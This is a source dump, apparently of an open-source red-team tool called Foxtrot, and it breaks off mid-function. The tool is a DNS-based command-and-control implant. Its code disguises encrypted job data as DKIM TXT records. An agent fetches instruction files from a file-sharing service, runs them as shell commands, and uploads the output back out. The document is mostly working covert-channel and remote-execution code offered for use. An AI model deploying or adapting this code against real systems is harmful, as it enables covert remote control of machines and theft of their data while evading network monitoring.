--verbose info recv 67 | 68 | echo "Master: Peeking at response" 69 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 70 | --nserver ${NSERVER} --domain ${DOMAIN} --role slave \ 71 | --verbose info agent --operation peek 72 | 73 | echo "============= Misc ==============" 74 | echo "Master: Resetting agent's instructions" 75 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 76 | --nserver ${NSERVER} --domain ${DOMAIN} --role master \ 77 | --verbose info agent --operation reset 78 | 79 | echo "Slave: Resetting agent's instructions" 80 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 81 | --nserver ${NSERVER} --domain ${DOMAIN} --role master \ 82 | --verbose info agent --operation reset 83 | 84 | echo "Slave: Identifying myself" 85 | echo ${AGENTPATH} --agent ${AGENT} --tsigname ${TSIGNAME} --tsigrdata ${TSIGRDATA} \ 86 | --nserver ${NSERVER} --domain ${DOMAIN} --role master \ 87 | --verbose info agent --operation ident 88 | -------------------------------------------------------------------------------- /foxtrot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | from foxtrot.flib import Foxtrot 5 | from foxtrot.helpers import Configurator 6 | 7 | 8 | def main(): 9 | # Process command line arguments 10 | Configurator.parseArgs() 11 | 12 | # Setup configuration bindings 13 | config = Configurator.getConfig() 14 | Configurator.printConfig() 15 | 16 | # Configure logging facilities 17 | logger = Configurator.getLogger() 18 | fx = Foxtrot(config, logger) 19 | 20 | # Process directives 21 | if config['args'].action == 'console': 22 | fx.action_console() 23 | 24 | if ((config['args'].action == 'agent' and 25 | (config['args'].operation != 'generate' and config['args'].operation != 'delete')) or 26 | (config['args'].action == 'recv') or 27 | (config['args'].action == 'send')): 28 | 29 | # Check if agent exists. If not - bail out. 30 | fx.agent_check() 31 | 32 | # Agent management and data inspection actions 33 | if config['args'].action == 'agent': 34 | 35 | if config['args'].operation == 'show': 36 | print(fx.agent_show()) 37 | 38 | if config['args'].operation == 'peek': 39 | print(fx.agent_peek()) 40 | 41 | if config['args'].operation == 'ident': 42 | fx.agent_ident() 43 | 44 | if config['args'].operation == 'generate': 45 | fx.agent_generate() 46 | 47 | if config['args'].operation == 'delete': 48 | fx.agent_delete() 49 | 50 | if config['args'].operation == 'reset': 51 | fx.agent_reset() 52 | 53 | # Send and receive actions 54 | if config['args'].action == 'send': 55 | 56 | if config['args'].operation == 'dfile': 57 | if config['args'].dfpath is not None: 58 | fx.action_send_data_file(config['args'].dfpath) 59 | else: 60 | fx.flogger.error("Data file path is missing ") 61 | sys.exit(2) 62 | 63 | if config['args'].operation == 'ocmd': 64 | 65 | if (config['args'].ofpath is not None) or (config['args'].ocmd is not None): 66 | if config['args'].ofpath is not None: 67 | fx.action_send_ocmd_file(config['args'].ofpath) 68 | else: 69 | fx.action_send_ocmd(config['args'].ocmd.encode('ascii')) 70 | else: 71 | fx.flogger.error("Command not specified or Data file path is missing ") 72 | sys.exit(2) 73 | 74 | if config['args'].operation == 'mcmd': 75 | if config['args'].mcmd is not None: 76 | fx.action_send_mcmd(config['args'].ocmd.encode('ascii')) 77 | 78 | if config['args'].action == 'recv': 79 | config['allow_exec'] = True 80 | fx.action_recv() 81 | 82 | 83 | if __name__ == '__main__': 84 | main() 85 | -------------------------------------------------------------------------------- /foxtrot/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/foxtrot/7b9adc68d111ffbe21ed5fc91bd7042721d741ff/foxtrot/__init__.py -------------------------------------------------------------------------------- /foxtrot/fconcmd.py: -------------------------------------------------------------------------------- 1 | import time 2 | import threading 3 | import json 4 | import queue 5 | from socket import gethostname 6 | 7 | from prompt_toolkit import prompt 8 | from prompt_toolkit.history import InMemoryHistory 9 | from prompt_toolkit.contrib.completers import WordCompleter 10 | from prompt_toolkit.shortcuts import clear 11 | from prompt_toolkit.auto_suggest import AutoSuggestFromHistory 12 | from pygments.token import Token 13 | 14 | from foxtrot.fconstyle import AgentStyle 15 | from curtsies.fmtfuncs import red, blue, green, yellow 16 | 17 | 18 | class FConCommander: 19 | def __init__(self, config, fx): 20 | self.config = config 21 | self.fx = fx 22 | self.data_q = queue.Queue(2) 23 | self.out_watch = None 24 | 25 | 26 | # Style Based Configuration 27 | def _get_bottom_toolbar_tokens(self, cli): 28 | 29 | if 'recv_watch' in self.config and self.config['recv_watch'] != 0: 30 | recv_watch_interval = self.config['recv_watch'] 31 | else: 32 | recv_watch_interval = 0 33 | 34 | tcontent='[{}] - K:{} NS:{} TSN:{} SOA:{} CI:{}'.format( 35 | self.config['role'], self.config['key'], self.config['nssrv'], 36 | self.config['tsigname'], self.config['domain'], recv_watch_interval 37 | ) 38 | 39 | return [ 40 | (Token.Toolbar, tcontent ), 41 | ] 42 | 43 | def _get_prompt_tokens(self, cli): 44 | 45 | return [ 46 | (Token.Username, self.config['agent'].decode('utf-8')), 47 | (Token.At, '@'), 48 | (Token.Host, gethostname()), 49 | (Token.Marker, '> '), 50 | ] 51 | 52 | def _get_rprompt_tokens(self, cli): 53 | 54 | tb_time = time.strftime("%d %b %Y %H:%M:%S", time.gmtime()) 55 | return [ 56 | (Token.DTime, tb_time), 57 | ] 58 | 59 | def _get_title(self): 60 | return 'Foxtrot' 61 | 62 | def do_loop(self): # use console facilities 63 | history = InMemoryHistory() 64 | gh_completer_client = WordCompleter( 65 | ['show', 'ident', 'peek', 'clear', 'reset', 'set', 'recv', 'csend', 'dsend'], 66 | ignore_case=True, match_middle=True) 67 | 68 | while True: 69 | result=None 70 | try: 71 | result = prompt(completer=gh_completer_client, 72 | style=AgentStyle, vi_mode=True, 73 | enable_history_search=True, 74 | reserve_space_for_menu=4, 75 | complete_while_typing=True, 76 | display_completions_in_columns=True, 77 | get_rprompt_tokens=self._get_rprompt_tokens, 78 | wrap_lines=True, 79 | get_prompt_tokens=self._get_prompt_tokens, 80 | get_bottom_toolbar_tokens=self._get_bottom_toolbar_tokens, 81 | enable_system_bindings=True, 82 | get_title=self._get_title, 83 | history = history, 84 | auto_suggest=AutoSuggestFromHistory(), 85 | patch_stdout=True) 86 | except KeyboardInterrupt: 87 | self.fx.flogger.warning("^D to exit") 88 | except EOFError: 89 | return 90 | 91 | if not result: 92 | pass 93 | else: 94 | cmdargs="" 95 | tokens = result.split(' ') 96 | 97 | if len(tokens) > 0: 98 | cmd = tokens[0] # get command 99 | if cmd == 'clear': 100 | clear() 101 | elif cmd == 'help': 102 | print(""" 103 | System: Alt-! 104 | Exit: Ctlr-D 105 | Skip: Ctrl-C 106 | Search: Vi mode standard 107 | """) 108 | 109 | elif cmd == 'ident': 110 | self.do_ident() 111 | 112 | elif cmd == 'show': 113 | self.do_show() 114 | 115 | elif cmd == 'peek': 116 | self.do_peek() 117 | 118 | elif cmd == 'reset': 119 | self.do_reset() 120 | 121 | elif cmd == 'recv': 122 | if len(tokens) == 2: 123 | comm = tokens[1] 124 | self.do_recv(comm) 125 | else: 126 | self.do_recv() 127 | 128 | elif cmd == 'csend': 129 | if len(tokens) > 1: 130 | self.do_csend(tokens[1:]) 131 | else: 132 | print("Need commands") 133 | 134 | elif cmd == 'dsend': 135 | if len(tokens) > 1: 136 | self.do_dsend(tokens[1]) 137 | else: 138 | print("Need path to data file") 139 | 140 | elif cmd == 'set': 141 | self.do_set(result) 142 | else: 143 | print("Unsupported Command") 144 | else: 145 | print("Invalid Command") 146 | 147 | def _dumpconf(self, obj): 148 | for k, v in obj.items(): 149 | print('%s : %s' % (k, v)) 150 | 151 | def do_ident(self): 152 | print(self.fx.agent_ident()) 153 | 154 | def do_show(self): 155 | print(self.fx.agent_show()) 156 | 157 | def do_peek(self): 158 | print(self.fx.agent_peek()) 159 | 160 | def do_reset(self): 161 | self.fx.agent_reset() 162 | 163 | def do_set(self, result): 164 | print(result) 165 | cmdargs = result.split(' ', 1) # get arguments 166 | if len(cmdargs) > 1 and '=' in result: # Args exist 167 | self.fx.flogger.debug("Cmdargs: " + ' '.join(cmdargs)) 168 | k, v = ''.join(cmdargs[1:]).split('=') # get key value arguments 169 | print("{} : {}".format(k, v)) 170 | self.config[k] = v 171 | else: 172 | self._dumpconf(self.config) 173 | 174 | def do_csend(self, command=None): 175 | """Send Command""" 176 | if command[0] is not "": 177 | cmd = " ".join(command) 178 | acmd = cmd.encode('ascii') 179 | self.fx.action_send_ocmd(acmd) 180 | return 181 | 182 | def do_dsend(self, fpath=None): 183 | if fpath is not None: 184 | dfh = self.fx.fpath2fh(fpath) 185 | self.fx.action_send_data_file(dfh) 186 | else: 187 | print("Path to file missing.") 188 | 189 | def do_recv(self, comm=None): 190 | """Real Time Recv output monitoring""" 191 | self.fx.flogger.debug("Command {} received".format(comm)) 192 | 193 | if comm is None: 194 | self.fx.action_recv() 195 | return 196 | 197 | if comm == 'poll': 198 | if self.out_watch is None or (not self.out_watch.isAlive()): 199 | self.out_watch = threading.Thread(target=self.recv_watcher) 200 | self.out_watch.daemon = True 201 | self.out_watch.do_run = True 202 | self.data_q.queue.clear() 203 | print("Starting recv polling") 204 | self.fx.flogger.info("Request to start recv thread ".format(comm)) 205 | self.out_watch.start() 206 | else: 207 | print("Recv polling already running") 208 | self.fx.flogger.warning("Recv polling already running({})". 209 | format(self.out_watch.ident)) 210 | 211 | elif comm == 'nopoll': 212 | print("Stopping recv polling") 213 | self.fx.flogger.info("Request to stop poll thread ({})".format(comm)) 214 | if self.out_watch is not None and self.out_watch.isAlive(): 215 | self.out_watch.do_run = False 216 | self.out_watch.join() 217 | 218 | # reset watch 219 | # TODO: Implement generic handler for all resets 220 | # self.config['recv_watch'] = 0 221 | self.do_set("set recv_watch=2") # use console facilities 222 | else: 223 | print("Recv polling not active") 224 | self.fx.flogger.warning("Recv polling not active") 225 | 226 | def recv_watcher(self): 227 | t = threading.currentThread() 228 | self.fx.flogger.debug("Recv polling thread init {}".format(t)) 229 | 230 | # How often to check DNS 231 | # TODO: Abstract this time to a parameter 232 | self.config['recv_watch'] = 5 233 | 234 | while getattr(t, "do_run", True): 235 | self.fx.flogger.debug("Polling Record for jobs") 236 | peek_data = self.fx.agent_peek() 237 | jpeek_data = json.loads(peek_data) 238 | 239 | # New request found 240 | if self.config['role'] == 'master': 241 | if jpeek_data['t'].lower() == 's' and jpeek_data["s"].upper() == 'W': 242 | self.fx.action_recv() 243 | 244 | if self.config['role'] == 'slave': 245 | if jpeek_data['t'].lower() == 'q' and jpeek_data["s"].upper() == 'J': 246 | print(blue("== Incoming request ==")) 247 | self.fx.action_recv() 248 | 249 | # TODO: implement timer 250 | time.sleep(self.config['recv_watch']) 251 | self.fx.flogger.debug("Recv polling thread exit {}".format(t)) 252 | return 253 | 254 | 255 | -------------------------------------------------------------------------------- /foxtrot/fconstyle.py: -------------------------------------------------------------------------------- 1 | from pygments.style import Style 2 | from pygments.token import Token 3 | from pygments.styles.default import DefaultStyle 4 | 5 | 6 | class AgentStyle(Style): 7 | 8 | styles = { 9 | Token.Menu.Completions.Completion.Current: 'bg:#00aaaa #000000', 10 | Token.Menu.Completions.Completion: 'bg:#008888 #ffffff', 11 | Token.Menu.Completions.ProgressButton: 'bg:#003333', 12 | Token.Menu.Completions.ProgressBar: 'bg:#00aaaa', 13 | 14 | # User input. 15 | Token: '#ffffcc', 16 | Token.Toolbar: '#ffffff bg:#000000', 17 | 18 | # Prompt. 19 | Token.Username: '#884444', 20 | Token.At: '#00aa00', 21 | Token.Marker: '#00aa00', 22 | Token.Host: '#008888', 23 | Token.DTime: '#884444 underline', 24 | } 25 | styles.update(DefaultStyle.styles) 26 | 27 | 28 | -------------------------------------------------------------------------------- /foxtrot/flib.py: -------------------------------------------------------------------------------- 1 | from os import rename, path 2 | from io import BytesIO 3 | from random import randint 4 | from time import sleep 5 | import json 6 | import tempfile 7 | import os 8 | import threading 9 | 10 | from foxtrot.fconcmd import FConCommander 11 | 12 | # DNS Resolver 13 | import dns.resolver 14 | import dns.update 15 | import dns.query 16 | import dns.tsigkeyring 17 | from dns.tsig import HMAC_SHA256 18 | 19 | # Crypto / encoding 20 | from Cryptodome.Cipher import AES 21 | from base64 import urlsafe_b64encode, urlsafe_b64decode 22 | 23 | # FF Send-cli 24 | # special thanks to https://github.com/ehuggett/send-cli 25 | import sendclient.common 26 | import sendclient.download 27 | import sendclient.upload 28 | 29 | # OS exec 30 | # git clone https://github.com/kennethreitz/delegator.py ; python setup.py install 31 | import delegator 32 | 33 | 34 | class Foxtrot: 35 | def __init__(self, config, logger): 36 | 37 | self.flogger = logger 38 | self.fconfig = config 39 | 40 | # Set DNS Resolver this is important so we query the nsserver directly, 41 | # and not caching servers default on the OS. 42 | # Otherwise propagation and TTLs may be in the way and give mixed results 43 | # when trying to update/add/delete records 44 | dns.resolver.default_resolver = dns.resolver.Resolver(configure=False) 45 | dns.resolver.default_resolver.nameservers = [self.fconfig['nssrv']] 46 | 47 | def fx_agent_dynrec(self, operation, domain, nssrv, selector, ttl, payload_b64, **tsig): 48 | """ Manage Agent Dynamic DNS Record: CRUD""" 49 | 50 | self.flogger.debug("Accepted for record: {0}, {1}, {2}, {3}, {4}, {5}, {6}".format( 51 | operation, domain, nssrv, selector, ttl, payload_b64, tsig)) 52 | 53 | keyring = dns.tsigkeyring.from_text(tsig) 54 | 55 | self.flogger.debug("DNS TSIG Keyring: " + str(keyring)) 56 | update = dns.update.Update(domain, keyring=keyring, keyalgorithm=HMAC_SHA256) 57 | self.flogger.debug("DNS TXT Update: " + str(update)) 58 | 59 | # Make DKIM record look normal 60 | dkim_record = '"v=DKIM1; h=sha256; k=rsa; t=y; s=email; p={0}"'.format(payload_b64) 61 | 62 | # From http://www.dnspython.org/docs/1.14.0/dns.update.Update-class.html#add 63 | if operation == 'add': 64 | self.flogger.debug("DNS: Adding TXT record") 65 | update.add(selector, ttl, dns.rdatatype.TXT, dkim_record) 66 | else: 67 | if operation == 'update': 68 | self.flogger.debug("DNS: Updating TXT record") 69 | update.replace(selector, ttl, dns.rdatatype.TXT, dkim_record) 70 | else: 71 | if operation == 'delete': 72 | self.flogger.debug("DNS: Deleting TXT record") 73 | update.delete(selector) 74 | else: 75 | self.flogger.error("DNS: Invalid record action: " + operation) 76 | raise ValueError("Operation must be one of ") 77 | 78 | try: 79 | response = dns.query.tcp(update, nssrv, timeout=10) 80 | if response.rcode() == 0: 81 | self.flogger.debug("DynDNS: Update Successful") 82 | return True 83 | else: 84 | self.flogger.error("DynDNS: Update failed: code: {0}".format(response.rcode())) 85 | self.flogger.error("Response: {0}".format(response)) 86 | return False 87 | except dns.tsig.PeerBadKey as peerkey: 88 | self.flogger.error("DNS TSIG: Bad Peer key {0}".format(peerkey)) 89 | return False 90 | except Exception as e: 91 | self.flogger.error("DNS: General Exception {0}".format(e)) 92 | return False 93 | 94 | # After you add/update the record you can query the NS: 95 | # Ex: dig @ns1.domain txt selector._domainkey.domain 96 | # If you omit the @ns then DNS routing rules to get to 97 | # your DNS via default resolver cache will apply 98 | 99 | def fx_agent_ident(self, key, domain): 100 | """ Return Agent identification """ 101 | 102 | return ".".join([key, "_domainkey", domain]) 103 | 104 | def fx_check_agent(self, key, domain): 105 | """ Find and return DKIM selector for an agent if exists """ 106 | 107 | fqdnselector = self.fx_agent_ident(key, domain) 108 | answer = None 109 | 110 | try: 111 | answers = dns.resolver.query(fqdnselector, 'TXT') 112 | 113 | if len(answers) != 1: 114 | answer = answers[0] 115 | else: 116 | answer = answers 117 | self.flogger.debug("DNS Agent via record: {0}, TTL: {1}".format( 118 | answer.qname, answer.rrset.ttl)) 119 | 120 | except dns.resolver.NXDOMAIN as nxdome: 121 | self.flogger.debug("DNS Resolver exception: {0}".format(nxdome)) 122 | return answer 123 | 124 | return answer 125 | 126 | def fx_check_payload(self, key, domain): 127 | """Return DKIM payload verbatim for inspection """ 128 | 129 | data = "" 130 | answer = self.fx_check_agent(key, domain) 131 | 132 | if answer is not None: 133 | for rdata in answer: 134 | for txt in rdata.strings: 135 | data = txt 136 | return data 137 | 138 | def fx_get_payload(self, key, domain): 139 | """ Get Instruction from DNS Store""" 140 | 141 | data = self.fx_check_payload(key, domain) 142 | # Check data for validity 143 | self.flogger.debug("DNS Record Content: {0} ".format(data)) 144 | dkim_rec = str(data).split(";") 145 | payload_holder = dkim_rec[-1].strip() 146 | self.flogger.debug("DNS Payload holder: " + payload_holder) 147 | payload_b64 = payload_holder.split("p=")[-1] 148 | self.flogger.debug("DNS Payload (B64 data): " + payload_b64) 149 | recv_data = self.fx_pdec(key, payload_b64) 150 | self.flogger.debug("Payload (decrypted data): " + recv_data) 151 | 152 | return recv_data 153 | 154 | def fx_penc(self, key, data): 155 | """ Encrypt data w/key """ 156 | 157 | cipher = AES.new(key.encode(), AES.MODE_EAX) 158 | ciphertext, tag = cipher.encrypt_and_digest(data.encode()) 159 | 160 | self.flogger.debug("ENC: Ciphertext type: {0}".format(type(ciphertext))) 161 | self.flogger.debug("ENC: Ciphertext: {0}".format(str(ciphertext))) 162 | 163 | # Use common format cross platform 164 | ciphertext_b64 = urlsafe_b64encode(ciphertext) 165 | self.flogger.debug("ENC: Ciphertext(b64): {0}".format(ciphertext_b64) ) 166 | 167 | self.flogger.debug("ENC: Nonce type: {0}".format(type(cipher.nonce))) 168 | self.flogger.debug("ENC: Nonce: {0}".format(str(cipher.nonce))) 169 | 170 | nonce_b64 = urlsafe_b64encode(cipher.nonce) 171 | self.flogger.debug("ENC: Nonce(b64): {0}".format(nonce_b64)) 172 | 173 | self.flogger.debug("ENC: Tag type: {0}".format(type(tag))) 174 | self.flogger.debug("ENC: Tag: {0}".format( str(tag))) 175 | 176 | tag_b64 = urlsafe_b64encode(tag) 177 | self.flogger.debug("ENC: Tag (B64) : {0}".format(tag_b64)) 178 | 179 | payload = b''.join([cipher.nonce, tag, ciphertext]) 180 | payload_b64 = urlsafe_b64encode(payload) 181 | 182 | payload_b64_ascii = payload_b64.decode('ascii') 183 | self.flogger.debug("ENC: Record payload (ASCII) : {0}".format(payload_b64_ascii)) 184 | 185 | return payload_b64_ascii 186 | 187 | def fx_pdec(self, key, payload_b64_ascii): 188 | """ Decrypt encoded and encrypted payload w/key """ 189 | 190 | payload = urlsafe_b64decode(payload_b64_ascii) 191 | payload_stream = BytesIO(payload) 192 | 193 | nonce, tag, ciphertext = [payload_stream.read(x) for x in (16, 16, -1)] 194 | 195 | self.flogger.debug("DEC: Nonce type: {0}".format(type(nonce))) 196 | self.flogger.debug("DEC: Nonce: {0}".format(str(nonce))) 197 | 198 | cipher = AES.new(key.encode(), AES.MODE_EAX, nonce) 199 | data = cipher.decrypt_and_verify(ciphertext, tag) 200 | 201 | # This is dependent on how it was encoded by the origin 202 | originaldata = data.decode('ascii') 203 | 204 | return originaldata 205 | 206 | def fx_selector_from_key(self, key, domain, fqdn=False): 207 | """ Build DKIM selector from key""" 208 | 209 | if not fqdn: 210 | selector = ".".join([key, "_domainkey"]) 211 | else: 212 | selector = ".".join([key, "_domainkey", domain]) 213 | 214 | return selector 215 | 216 | def fx_send_file(self, service, sfile): 217 | """ Send file the send service via sendlclient """ 218 | 219 | self.flogger.debug('SF: Uploading "' + sfile.name + '"') 220 | # Ignore potentially incompatible version of server. Turn `ignoreVersion to True` to care 221 | ffsend_link, fileId, delete_token = sendclient.upload.send_file( 222 | service, sfile, ignoreVersion=True, fileName=None) 223 | 224 | self.flogger.debug('SF: File Uploaded, use the following link to retrieve it') 225 | self.flogger.debug("SF: Link: {0}, FileId: {1}, Delete file with key: {2}".format( 226 | ffsend_link,fileId, delete_token)) 227 | self.flogger.debug(ffsend_link) 228 | 229 | return ffsend_link 230 | 231 | def fx_url_to_file(self, url, dfile=None, temp=False): 232 | """ Get URL from the send service via sendlclient """ 233 | 234 | # Ignore potentially incompatible version of server. Turn `ignoreVersion to True` to care 235 | tmpfile, suggested_name = sendclient.download.send_urlToFile(url, ignoreVersion=True) 236 | print("Suggested name: ", suggested_name) 237 | self.flogger.debug('SF: Downloaded {0} -> {1}'.format(url, tmpfile.name)) 238 | 239 | if dfile is not None: 240 | self.flogger.debug("SF: Renaming and Saving {0} -> {1}".format(tmpfile.name, dfile.name)) 241 | rename(tmpfile.name, dfile.name) 242 | return path.abspath(dfile.name) 243 | else: 244 | if not temp: 245 | self.flogger.debug("SF: Renaming and Saving {0} -> {1}".format(tmpfile.name, suggested_name)) 246 | try: 247 | rename(tmpfile.name, suggested_name) 248 | return path.abspath(suggested_name) 249 | except OSError as ose: 250 | print("Unable to save file {} : \nLeaving it under `unknown` ".format( 251 | suggested_name, ose)) 252 | suggested_name = "unknown" 253 | rename(tmpfile.name, suggested_name) 254 | return path.abspath(suggested_name) 255 | 256 | else: 257 | fd, tf = tempfile.mkstemp() 258 | rename(tmpfile.name, tf) 259 | return path.abspath(tf) 260 | 261 | def agent_peek(self): 262 | """ Peek: See unwrapped and decrypted payload """ 263 | 264 | if hasattr(self.fconfig['args'], 'interval_low') and \ 265 | hasattr(self.fconfig['args'], 'interval_high') and \ 266 | (self.fconfig['args'].interval_low > 0 or self.fconfig['args'].interval_high > 0): 267 | while True: 268 | data = self.fx_get_payload(self.fconfig['key'], self.fconfig['domain']) 269 | self.flogger.info(data) 270 | sleep(randint(self.fconfig['args'].interval_low, 271 | self.fconfig['args'].interval_high)) 272 | elif 'peek_watch' in self.fconfig: 273 | while True: 274 | data = self.fx_get_payload(self.fconfig['key'], self.fconfig['domain']) 275 | self.flogger.info(data) 276 | sleep(int(self.fconfig['watch'])) 277 | else: 278 | data = self.fx_get_payload(self.fconfig['key'], self.fconfig['domain']) 279 | 280 | return data 281 | 282 | def agent_ident(self): 283 | """ Ident: Identify agent in DNS """ 284 | data = "Agent: ID:{0} >> RR:{1} @{2} ".format( 285 | self.fconfig['agent'].decode(), 286 | self.fx_agent_ident(self.fconfig['key'], self.fconfig['domain']), 287 | self.fconfig['nssrv'] ) 288 | return data 289 | 290 | def agent_show(self): 291 | """ Show: Show DNS record value (wrapped and encrypted payload) """ 292 | data = self.fx_check_payload(self.fconfig['key'], self.fconfig['domain']) 293 | return data 294 | 295 | def agent_check(self): 296 | """Check if agent record exists, and if not - notify and bail""" 297 | 298 | record = self.fx_check_agent(self.fconfig['key'], self.fconfig['domain']) 299 | if record is None: 300 | self.flogger.warning("FX: Agent {0} not known to the system (key: {1})".format( 301 | self.fconfig['agent'].decode(), self.fconfig['key'])) 302 | self.flogger.warning("FX: Invoke `agent` action with `--operation generate` option") 303 | 304 | def agent_reset(self): 305 | 306 | msgMeta = {'t': 's', 's': 'W', 'c': '', 'u': ''} 307 | record = self.fx_check_agent(self.fconfig['key'], self.fconfig['domain']) 308 | 309 | if record is not None: 310 | jmsgMeta = json.dumps(msgMeta, separators=(',', ':')) 311 | payload_b64 = self.fx_penc(self.fconfig['key'], jmsgMeta) 312 | self.fx_agent_dynrec("update", self.fconfig['domain'], self.fconfig['nssrv'], 313 | self.fx_selector_from_key(self.fconfig['key'], self.fconfig['domain']), 314 | self.fconfig['ttl'], payload_b64, **self.fconfig['tsig']) 315 | else: 316 | self.flogger.warning("FX: Agent record {0} does not exist. Create it first".format( 317 | self.fconfig['agent'].decode())) 318 | 319 | def agent_generate(self): 320 | """Check if agent record exists, and if not - generate one""" 321 | 322 | record = self.fx_check_agent(self.fconfig['key'], self.fconfig['domain']) 323 | 324 | if record is not None: 325 | self.flogger.error("FX: Agent record already exists. Delete it first") 326 | self.flogger.error("FX: Agent record is: {0} >> {1} @{2} ".format( 327 | self.fconfig['agent'].decode(), 328 | self.fx_agent_ident(self.fconfig['key'], self.fconfig['domain']), 329 | self.fconfig['nssrv'], 330 | )) 331 | else: 332 | self.flogger.warning("FX: New Agent record {0} will be GENERATED.".format( 333 | self.fconfig['agent'].decode())) 334 | 335 | msgMeta = {'t': 's', 's': 'W', 'c': '', 'u': ''} 336 | jmsgMeta = json.dumps(msgMeta, separators=(',', ':')) 337 | 338 | payload_b64 = self.fx_penc(self.fconfig['key'], jmsgMeta) 339 | self.fx_agent_dynrec("add", self.fconfig['domain'], self.fconfig['nssrv'], 340 | self.fx_selector_from_key(self.fconfig['key'], self.fconfig['domain']), 341 | self.fconfig['ttl'], payload_b64, **self.fconfig['tsig']) 342 | 343 | def agent_delete(self): 344 | """Delete agent record""" 345 | 346 | record = self.fx_check_agent(self.fconfig['key'], self.fconfig['domain']) 347 | 348 | if record is not None: 349 | self.flogger.warning("FX: Agent record {0} will be DELETED ".format( 350 | self.fconfig['agent'].decode())) 351 | self.flogger.warning("FX: Agent: {0} >> {1} @{2} ".format( 352 | self.fconfig['agent'].decode(), 353 | self.fx_agent_ident(self.fconfig['key'], self.fconfig['domain']), 354 | self.fconfig['nssrv'], 355 | )) 356 | payload_b64 = self.fx_penc(self.fconfig['key'], "Not important, deleted") 357 | self.fx_agent_dynrec("delete", self.fconfig['domain'], self.fconfig['nssrv'], 358 | self.fx_selector_from_key(self.fconfig['key'], self.fconfig['domain']), 359 | self.fconfig['ttl'], payload_b64, **self.fconfig['tsig']) 360 | else: 361 | self.flogger.error("FX: Agent record does not exist.") 362 | 363 | def _action_recv_master(self, agent_job): 364 | 365 | # Process instruction metadata 366 | # Process type response 367 | if agent_job["t"].lower() == "s": 368 | self.flogger.debug("Response received.") 369 | 370 | # Fetch instructions from FFSend url 371 | job_url = agent_job['u'] 372 | self.flogger.debug("Job Response Content URL: {0}".format(job_url)) 373 | 374 | # no URL posted from agent 375 | if job_url == "": 376 | return 377 | 378 | fpath = self.fx_url_to_file(job_url, temp=True) 379 | self.flogger.debug("Find downloaded response file in: " + fpath) 380 | 381 | # Determine how to process downloaded file 382 | 383 | # 'o' - output from command: cat to stdout 384 | if agent_job["c"].lower() == "o": 385 | with open(fpath, mode="rb") as cf: 386 | print(cf.read().decode('utf-8')) 387 | os.remove(fpath) 388 | 389 | # TODO: Notify agent of a pickup by master 390 | self.agent_reset() 391 | 392 | elif agent_job["t"].lower() == "q": 393 | self.flogger.debug("Request received. But your Role is Master.") 394 | else: 395 | self.flogger.error("Invalid Instruction: Not a request | response type") 396 | 397 | def _action_recv_slave(self, agent_job): 398 | 399 | 400 | # Process instruction metadata 401 | # Process type request 402 | if agent_job["t"].lower() == "q": 403 | self.flogger.debug("Request received") 404 | 405 | # Fetch instructions from FFSend url 406 | job_url = agent_job['u'] 407 | self.flogger.debug("Job URL: {0}".format(type(job_url))) 408 | 409 | if job_url is None: 410 | return 411 | 412 | # TODO: Implement data file download 413 | if agent_job["c"].lower() == "f": 414 | self.flogger.debug("Request received: data file download") 415 | fpath = self.fx_url_to_file(job_url) 416 | self.flogger.debug("Data file fetched: {}".format(fpath)) 417 | 418 | # Update DNS record meta only. Download of content only, no output 419 | self.action_send_response("AWAIT", 'o', None, True) 420 | 421 | if agent_job["c"].lower() == "o": 422 | self.flogger.debug("Request received: external command exec()") 423 | 424 | # Update DNS record meta only. Processing 425 | self.flogger.debug("Setting ABUSY flag in record") 426 | self.action_send_response("ABUSY", 'o', None, True) 427 | 428 | fpath = self.fx_url_to_file(job_url, temp=True) 429 | self.flogger.debug("Reading from: {}".format(fpath)) 430 | 431 | with open(fpath, mode="rb") as cf: 432 | instructions = cf.read().decode('utf-8') 433 | os.remove(fpath) 434 | 435 | self.flogger.info("\n==> Request: ({}) <==".format(instructions)) 436 | self.flogger.debug("Instructions requested: \n{0}".format(instructions)) 437 | 438 | # Run command(s) from file 439 | c = delegator.chain(instructions) 440 | cout = c.out 441 | 442 | output = "\n".encode('ascii') + cout.encode('ascii', 'replace') 443 | 444 | # Update DNS record with results 445 | print("<== Response posted ==>\n") 446 | self.action_send_response("AWAIT", 'o', output) 447 | 448 | # TODO: Implement internal agent commands 449 | if agent_job["c"].lower() == "m": 450 | self.flogger.debug("Request received: internal command") 451 | self.flogger.error("NOT IMPLEMENTED") 452 | 453 | elif agent_job["t"].lower() == "s": 454 | self.flogger.debug("Response received. But your Role is Slave.") 455 | else: 456 | self.flogger.error("Invalid Instruction: Not a request | response type") 457 | 458 | def action_recv(self): 459 | """ 460 | 1. Receive data from DNS Store. 461 | 2. Follow processing instructions. 462 | 3. Update DNS Store record with response 463 | """ 464 | 465 | # Receive instruction data 466 | recv_data = self.agent_peek() 467 | self.flogger.debug("FX: Received Unwrapped data: {0}".format(recv_data)) 468 | 469 | agent_job = json.loads(recv_data) 470 | self.flogger.debug("Agent job: {0}".format(agent_job)) 471 | 472 | if self.fconfig['verbose'] == 'debug': 473 | for k, v in agent_job.items(): 474 | self.flogger.debug("{0} : {1}".format(k, v)) 475 | 476 | # process as slave 477 | if self.fconfig['role'] == 'slave': 478 | # Agent will only process jobs in SJOB(J) state 479 | if agent_job["s"].upper() != "J": 480 | self.flogger.info("No Job posted for agent") 481 | self.flogger.debug("Record Data: {}".format(recv_data)) 482 | return 483 | self._action_recv_slave(agent_job) 484 | 485 | # process as master 486 | if self.fconfig['role'] == 'master': 487 | # Agent will only process jobs not in ABUSY(B) or AWAIT(W) states 488 | if agent_job["s"].upper() != "W": 489 | self.flogger.info("Agent is busy or pending job pick up.") 490 | self.flogger.debug("Record Data: {}".format(recv_data)) 491 | return 492 | self._action_recv_master(agent_job) 493 | 494 | def action_send_response(self, jobstate, response_type, dmsgcontent=None, metaonly=False): 495 | """ Send response to Store""" 496 | ffsend_link = "" 497 | msgMeta=None 498 | 499 | # set state to AWAIT (free) or ABUSY (processing) 500 | if jobstate == "AWAIT": 501 | msgMeta = {'t': 's', 's': 'W', 'c': '', 'u': ''} 502 | 503 | if jobstate == "ABUSY": 504 | msgMeta = {'t': 's', 's': 'B', 'c': '', 'u': ''} 505 | 506 | # 